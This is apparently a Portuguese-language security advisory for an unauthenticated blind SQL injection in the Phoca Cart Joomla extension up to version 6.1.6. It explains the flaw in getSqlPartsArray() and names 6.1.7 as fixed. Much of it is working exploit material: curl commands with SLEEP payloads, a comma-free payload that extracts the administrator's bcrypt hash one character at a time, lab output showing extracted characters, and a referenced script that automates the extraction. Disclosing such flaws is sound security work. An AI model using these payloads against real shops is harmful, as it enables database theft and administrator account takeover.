
Injeção de SQL não autenticada via Filtro de Atributos no Phoca Cart - CVSS 9.3
Phoca Cart ≤ 6.1.6 — Atacante não autenticado extrai o banco de dados completo via Injeção Cega Baseada em Tempo
Os parâmetros de array GET a[] (atributo) e s[] (especificação) na página pública de itens da loja do Phoca Cart são concatenados diretamente nas cláusulas SQL WHERE, sem parametrização ou escape. Um atacante não autenticado pode injetar SQL arbitrário por meio desses parâmetros, permitindo a extração completa do banco de dados por meio de técnicas de injeção cega baseada em tempo.
A vulnerabilidade existe em getSqlPartsArray(), em admin/libraries/phocacart/search/search.php. A função chama explode(',', $v) antes de montar a lista IN(), mas nunca aplica escape nos valores resultantes — portanto, uma carga útil sem vírgulas passa intacta para a consulta SQL. Como getItemListQuery() é chamado duas vezes por requisição (getTotal() + getItemList()), uma carga útil SLEEP(N) causa um atraso observável de 2×N segundos, tornando a detecção por tempo altamente confiável.
| COMPONENTE | VULNERÁVEL | TESTADO EM | CORRIGIDO |
|---|---|---|---|
| Phoca Cart (com_phocacart) | 5.0.0 – 6.1.6 | Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache) | 6.1.7 |
Tipo: Injeção SQL — Cega Baseada em Tempo (CWE-89)
Autenticação necessária: Nenhuma — endpoint acessível publicamente
Arquivo: admin/libraries/phocacart/search/search.php
O modelo de itens lê os parâmetros a[] e s[] diretamente da requisição HTTP, sem sanitização:
SITE/MODELS/ITEMS.PHP — LINHA 92–93
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET
Esses valores são encaminhados para getSqlPartsArray(), que divide cada valor por vírgulas e insere os fragmentos resultantes diretamente na cláusula SQL IN():
SEARCH.PHP — GETSQLPARTSARRAY() LINHAS 318–363 (VULNERÁVEL)
foreach ($value as $k => $v) {
$a = explode(',', $v); // splits on comma — but does NOT escape
$a = array_unique($a);
if ($k && $v) {
if ($searchArea == 'a') {
// ANY method — $a values are NOT escaped before implode:
$inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
. '\'' . implode('\',\'', $a) . '\'' // ← raw user input injected here
. '))';
// ALL method — $v2 injected raw into double-quoted context:
foreach ($a as $v2) {
$inAS[$iA] = 'at2.alias = ' . $db->quote($k)
. ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
$iA++;
}
}
else if ($searchArea == 's') {
// specification filter — same pattern, same flaw:
$inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
. '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
}
}
}
O fragmento SQL resultante é inserido na consulta principal:
a.id IN (
SELECT at2.product_id FROM #__phocacart_attributes AS at2
LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)
getActiveFilterValues() em filter.php aplica filterValue($item, 'alphanumeric') aos valores a[]/s[] para a camada de exibição. No entanto, getSqlPartsArray() lê os mesmos parâmetros diretamente de $app->getInput()->get('a', '', 'array') sem nenhuma sanitização aplicada, ignorando completamente a proteção da camada de exibição.
Nenhuma autenticação é necessária. A página de itens (/index.php?option=com_phocacart&view=items) é acessível publicamente. Nenhum atributo ou especificação precisa estar configurado na loja.
Um usuário não autenticado pode acessar o portal de compras sem nenhuma credencial.

Requisição bruta capturada no Burp Suite — tempo de resposta da linha de base: 76ms.

a[])Uma carga útil SLEEP(3) é injetada por meio do parâmetro a[color]. Como getItemListQuery() é chamado duas vezes por requisição, o atraso esperado é de 2 × 3 = 6s. Observado: 7085ms — confirmado.
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"
# Result: 7.085s — CONFIRMED
# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"

Substituir SLEEP(3) por SLEEP(0) retorna imediatamente (1064ms), confirmando que o atraso é causado pelo SLEEP injetado e não por condições de rede.

Extraia o hash bcrypt do administrador um byte por vez. Restrição crítica: explode(',', $v) divide por vírgulas antes de montar o SQL — os payloads devem usar SUBSTRING(str FROM pos FOR len) (sintaxe de palavra-chave ANSI) para evitar o truncamento por vírgula, e CASE WHEN ... THEN ... ELSE ... END em vez de IF().
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match
PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=$PAYLOAD" \
"http://TARGET/index.php"
Verificação em laboratório — primeiros 12 caracteres do hash bcrypt do administrador:
| pos | caractere | ASCII | resposta | corresponde |
|---|---|---|---|---|
| 1 | $ | 36 | >6s | ✓ |
| 2 | 2 | 50 | >6s | ✓ |
| 3 | y | 121 | >6s | ✓ |
| 4 | $ | 36 | >6s | ✓ |
| 5 | 1 | 49 | >6s | ✓ |
| 6 | 0 | 48 | >6s | ✓ |
| 7 | $ | 36 | >6s | ✓ |
| 8 | L | 76 | >6s | ✓ |
| 9 | N | 78 | >6s | ✓ |
| 10 | v | 118 | >6s | ✓ |
| 11 | t | 116 | >6s | ✓ |
| ... | ... | ... | >6s | ✓ |
Prefixo extraído $2y$10$LNvt... — hash bcrypt completo de 60 caracteres recuperável em ~240 requisições.
O script exploit.py incluído extrai automaticamente o hash completo da senha do administrador sem iteração manual, usando a mesma técnica baseada em tempo descrita acima.
python exploit.py http://TARGET

com_phocacart instalado e um front-end público é explorável.INSERT / UPDATE / DELETE arbitrárias, incluindo criar novas contas de administrador ou modificar registros de pedidos.